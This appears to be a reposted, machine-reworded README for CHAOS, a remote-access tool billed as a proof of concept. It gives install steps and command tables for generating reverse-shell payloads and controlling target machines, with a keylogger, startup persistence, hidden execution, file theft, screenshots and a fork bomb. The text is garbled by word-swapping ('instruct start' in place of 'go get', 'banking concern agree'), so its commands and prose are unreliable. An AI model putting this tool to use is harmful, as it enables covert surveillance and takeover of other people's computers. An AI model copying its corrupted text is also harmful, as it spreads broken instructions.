Chaos Framework V3.0 - Generate Payloads As Well As Command Remote Windows Systems
CHAOS is a PoC that allow generate payloads as well as command remote operating systems.
Features
Feature | Windows | Mac | Linux |
---|---|---|---|
Reverse Shell | X | X | X |
Download File | X | X | X |
Upload File | X | X | X |
Screenshot | X | X | X |
Keylogger | X | ||
Persistence | X | ||
Open URL | X | X | X |
Get OS Info | X | X | X |
Fork Bomb | X | X | X |
Run Hidden | X |
Tested On
Kali Linux - ROLLING EDITION
How to Install
# Install dependencies $ sudo apt install golang git -y # Get this repository $ instruct start github.com/tiagorlampert/CHAOS # Get external golang dependencies (ARE REQUIRED GET ALL DEPENDENCIES) $ instruct start github.com/kbinani/screenshot $ instruct start github.com/lxn/win $ instruct start github.com/matishsiao/goInfo $ instruct start golang.org/x/sys/windows # Maybe y'all volition come across the message "package github.com/lxn/win: construct constraints exclude all Go files". # It's occurs because the libraries are to windows systems, exactly it necessary to construct the payload. # Go into the repository $ cd /go/src/github.com/tiagorlampert/CHAOS # Run $ instruct run main.go
How to Use
Command | On HOST does... |
---|---|
generate | Generate a payload (e.g. generate lhost=192.168.0.100 lport=8080 fname=chaos --windows ) |
lhost= | Specify a ip for connection |
lport= | Specify a port for connection |
fname= | Specify a filename to output |
--windows | Target Windows |
--macos | Target Mac OS |
--linux | Target Linux |
listen | Listen for a novel connexion (e.g. listen lport=8080 ) |
serve | Serve files |
exit | Quit this program |
Command | On TARGET does... |
---|---|
download | File Download |
upload | File Upload |
screenshot | Take a Screenshot |
keylogger_start | Start Keylogger session |
keylogger_show | Show Keylogger session logs |
persistence_enable | Install at Startup |
persistence_disable | Remove from Startup |
getos | Get OS name |
lockscreen | Lock the OS screen |
openurl | Open the URL informed |
bomb | Run Fork Bomb |
clear | Clear the Screen |
back | Close connexion exactly choke along running on target |
exit | Close connexion as well as last out on target |
Video
FAQ
Why does Keylogger capture all upper-case alphabetic quality letters?
All the letters obtained using the keylogger are upper-case alphabetic quality letters. It is a known issue, inwards illustration anyone knows how to gear upward the Keylogger part using golang, delight contact me or opened upward an issue.
Why are necessary instruct as well as install external libraries?
To implement the screenshot part i used a third-party library, y'all tin shipping away banking concern agree it inwards https://github.com/kbinani/screenshot as well as https://github.com/lxn/win. You must download as well as install it to generate the payload.
Contact
tiagorlampert@gmail.com